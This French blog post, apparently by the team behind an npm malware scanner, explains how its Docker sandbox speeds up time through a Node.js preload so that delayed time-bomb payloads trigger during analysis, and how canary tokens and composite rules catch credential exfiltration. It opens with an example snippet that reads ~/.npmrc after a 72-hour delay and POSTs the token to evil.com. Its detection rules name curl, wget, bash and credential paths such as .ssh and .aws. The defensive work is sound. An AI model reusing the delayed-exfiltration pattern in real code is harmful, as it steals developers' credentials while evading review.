MITRE ATT&CK T1497.003 - Time Based Evasion Checks - est dans le top 10 des techniques d'evasion en 2026. L'idee est simple : le malware attend 72 heures avant de voler les credentials. Le sandbox Docker a un timeout de 120 secondes. Le payload ne s'execute jamais pendant l'analyse.
La solution : on accelere le temps.
Le probleme
Un malware classique fait ceci :
// Attendre 3 jours apres l'installation
setTimeout(() => {
const token = fs.readFileSync(
path.join(os.homedir(), '.npmrc'), 'utf8'
);
fetch('https://evil.com/collect', {
method: 'POST',
body: token
});
}, 72 * 3600 * 1000); // 72 heures
Le sandbox execute le package pendant 120 secondes. Le setTimeout de 72h ne se declenche jamais. Le sandbox conclut : aucun comportement suspect. Package clean.
C'est exactement ce que les attaquants veulent.
La solution : monkey-patching via preload
Le container Docker injecte un script preload via NODE_OPTIONS=--require /opt/preload.js. Ce script patche toutes les APIs de temps avant que le code du package s'execute :
// Sauvegarder les originaux dans une closure inaccessible
const _origDateNow = Date.now;
const _origSetTimeout = setTimeout;
const _origSetInterval = setInterval;
// Offset de temps (configurable par run)
let timeOffset = 0; // Run 1: 0h, Run 2: +72h, Run 3: +7j
// Patcher Date.now() et new Date()
Date.now = () => _origDateNow.call(Date) + timeOffset;
const _OrigDate = Date;
globalThis.Date = function(...args) {
if (args.length === 0) return new _OrigDate(_origDateNow() + timeOffset);
return new _OrigDate(...args);
};
// Accelerer les timers
globalThis.setTimeout = (fn, delay, ...args) => {
if (delay > 3600000) { // > 1h
log({ type: 'suspicious_timer', delay });
return _origSetTimeout(fn, 0, ...args); // Execution immediate
}
return _origSetTimeout(fn, delay, ...args);
};
Les APIs patchees de maniere coherente :
Date.now()- retourne le temps reel + offsetnew Date()sans argument - date decaleeperformance.now(),process.hrtime(),process.uptime()- tous synchronisessetTimeout(fn, 72h)→setTimeout(fn, 0)- execution immediatesetInterval(fn, delay)→ premiere execution immediate
Multi-run : 3 points dans le temps
Un seul offset ne suffit pas. Certains malwares attendent 3 jours, d'autres 1 semaine, d'autres verifient la date de premiere installation. Le sandbox execute le package 3 fois :
| Run | Offset | Cible |
|---|---|---|
| Run 1 | 0h | Baseline - comportement immediat |
| Run 2 | +72h | Time-bombs 3 jours |
| Run 3 | +7 jours | Time-bombs 1 semaine |
Sortie anticipee si le score depasse 80 (CRITICAL detecte). Le meilleur score des 3 runs est retenu.
Interception des APIs sensibles
En plus de l'acceleration du temps, le preload intercepte toutes les APIs sensibles pour logging comportemental :
- Reseau :
http.request,https.request,fetch,dns.resolve,net.connect - Fichiers :
readFileSync/writeFileSyncavec detection de chemins sensibles (.npmrc,.ssh,.aws) - Processus :
exec/spawnavec detection de commandes dangereuses (curl,wget,bash) - Environnement : Proxy sur
process.envpour logger l'acces aux variables TOKEN/SECRET/KEY
Tout est ecrit dans /tmp/preload.log en JSON structuree, puis analyse par src/sandbox/analyzer.js.
6 nouvelles regles de detection
| Regle | Severite | Pattern |
|---|---|---|
| Timer delay > 1h | MEDIUM | setTimeout avec delai suspicieux |
| Timer delay > 24h | CRITICAL | Time-bomb probable |
| Lecture fichier sensible | HIGH | .npmrc, .ssh, .aws, .env via preload |
| Reseau apres lecture sensible | CRITICAL | Compose : file read + network = exfiltration |
| Execution commande dangereuse | HIGH | curl, wget, bash, powershell via preload |
| Acces env sensible | MEDIUM | TOKEN, SECRET, KEY, PASSWORD |
La regle composite "reseau apres lecture sensible" est la plus puissante. Elle detecte la sequence exacte d'exfiltration : lire un fichier de credentials, puis envoyer les donnees sur le reseau. Score : +40 points - suffisant pour declencher l'alerte a lui seul.
Canary tokens : les honeypots
Le sandbox injecte 6 faux secrets dans l'environnement :
GITHUB_TOKEN=ghp_canary_xxxxxxxxxxxx
NPM_TOKEN=npm_canary_xxxxxxxxxxxx
AWS_ACCESS_KEY_ID=AKIA_canary_xxxxxxx
AWS_SECRET_ACCESS_KEY=canary_xxxxxxx
SLACK_WEBHOOK_URL=https://hooks.slack.com/canary
DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/canary
Si le package tente d'exfiltrer ces tokens via HTTP, DNS, ou stdout, c'est la preuve directe de malveillance. L'exfiltration est recherchee dans 7 vecteurs : corps HTTP, requetes DNS, URLs HTTP, connexions TLS, modifications filesystem, commandes processus, et sortie d'installation.
Securite du preload
- Tout est encapsule dans une IIFE - le package cible ne peut pas acceder aux references originales
- Chaque patch est protege par
try/catch- le preload ne peut jamais casser le package analyse NODE_OPTIONSest verrouille viaObject.definePropertyapres injection - empeche le bypass dans les processus enfants- L'injection est differee au point d'entree du package, pas pendant
npm install- evite d'intercepter les appels reseau de npm lui-meme
Resultats
| Metrique | Avant | Apres |
|---|---|---|
| Regles sandbox | 8 | 14 (+6) |
| Tests | 1471 | 1522 (+51) |
| Detection time-bombs | impossible | 3 points dans le temps |
Lecon
Les malwares modernes ne s'executent pas immediatement. Ils attendent que le scanner ait fini son analyse, que l'environnement CI/CD soit passe, que l'attention du developpeur se soit relachee. L'acceleration du temps dans le sandbox transforme un setTimeout(fn, 72h) en setTimeout(fn, 0) - le malware croit que 3 jours se sont ecoules, et declenche son payload pendant l'analyse.
Le monkey-patching coherent est essentiel. Si Date.now() dit +72h mais que process.uptime() dit 2 secondes, un malware sophistique detecte l'inconsistance. Toutes les APIs de temps doivent raconter la meme histoire.